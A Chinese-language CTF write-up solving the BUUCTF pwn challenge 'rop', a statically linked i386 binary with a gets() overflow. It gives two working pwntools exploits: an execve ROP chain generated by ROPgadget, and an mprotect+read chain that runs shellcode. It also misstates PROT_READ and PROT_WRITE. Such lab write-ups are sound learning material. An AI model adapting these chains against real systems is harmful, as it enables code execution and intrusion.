checksec
matrix@ubuntu:~/PWN/BUU$ checksec rop
[*] '/home/matrix/PWN/BUU/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只有NX开启
./rop
asdassssssssssssssss
Segmentation fault (core dumped)
IDA
_BYTE *overflow()
{
char v1; // [esp+Ch] [ebp-Ch]
return gets(&v1);
}
刚打开IDA就被一大堆函数给吓到了,这应该就是静态编译的程序所以程序不会调用libc库,直接在二进制文件中实现函数。
$file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, statically 静态编译
静态编译我之前也就听过而已,这是第一次遇到,没办法就去看大佬的文章了。
Ropgadget –ropchain 直接利用程序中的片段拼凑rop链。
ROPgadget –binary rop –ropchain
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048433 pop esi ; ret
[+] Gadget found: 0x8048480 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'
[+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
[+] Gadget found: 0x80b8016 pop eax ; ret
[+] Gadget found: 0x80492d3 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x80492d3 xor eax, eax ; ret
[+] Gadget found: 0x807a66f inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x80de769 pop ecx ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x806c943 int 0x80
- Step 5 -- Build the ROP chain #这里可以直接复制过去做payload了
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
EXP
from pwn import*
from struct import pack
context.log_level = 'debug'
elf = ELF('rop')
sh = process('./rop')
sh = remote('node3.buuoj.cn',26186)
p = 'A'*0x10
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
sh.sendline(p)
sh.interactive()
结果:
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'matrix\n'
matrix
$
从这里学到一个新方法:https://www.yuque.com/u239977/cbzkn3/sam1zw 并再次膜拜大佬
mprotect函数:
原型:int mprotect(const void *start, size_t len, int prot)
参数解释:
start:需改写属性的内存中开始地址
len:需改写属性的内存长度
prot:需要修改为的指定值
功能: mprotect()函数可以用来修改一段指定内存区域的保护属性。 他把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。 prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
注意:指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
prot=7 是可读可写可执行
从IDA中可以搜到 这个函数的存在。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x80e9000 r-xp a1000 0 /home/matrix/PWN/BUU/rop
0x80e9000 0x80eb000 rw-p 2000 a0000 /home/matrix/PWN/BUU/rop (data)
0x80eb000 0x810f000 rw-p 24000 0 [heap]
0xf7ff9000 0xf7ffc000 r--p 3000 0 [vvar]
0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso]
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]
pwndbg>
从vmmap可以知道0x80e9000 0x80eb000 data段可读可写,所以利用这个mprotect函数再加一个可执行
然后read函数读取shellcode到这里即可
EXP~
from pwn import*
context.log_level = 'debug'
context(os='linux',arch='i386')
elf = ELF('rop')
read_addr = elf.symbols['read']
mprotect = elf.symbols['mprotect']
data_addr = 0x080e9000
pop3_ret = 0x0804ef14
shellcode = asm(shellcraft.sh())
sh = process('./rop')
#sh = remote('node3.buuoj.cn',26186)
payload = 'A'*0xc + p32(0xdeadbeef)
payload += p32(mprotect) + p32(pop3_ret) + p32(data_addr) + p32(0x200) + p32(0x7)
payload += p32(read_addr) + p32(pop3_ret) + p32(0) + p32(data_addr) + p32(0x200) + p32(data_addr)
#gdb.attach(sh)
sh.sendline(payload)
sh.sendline(shellcode)
sh.interactive()
结果:
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x25 bytes:
'cat: flag: No such file or directory\n'
cat: flag: No such file or directory
$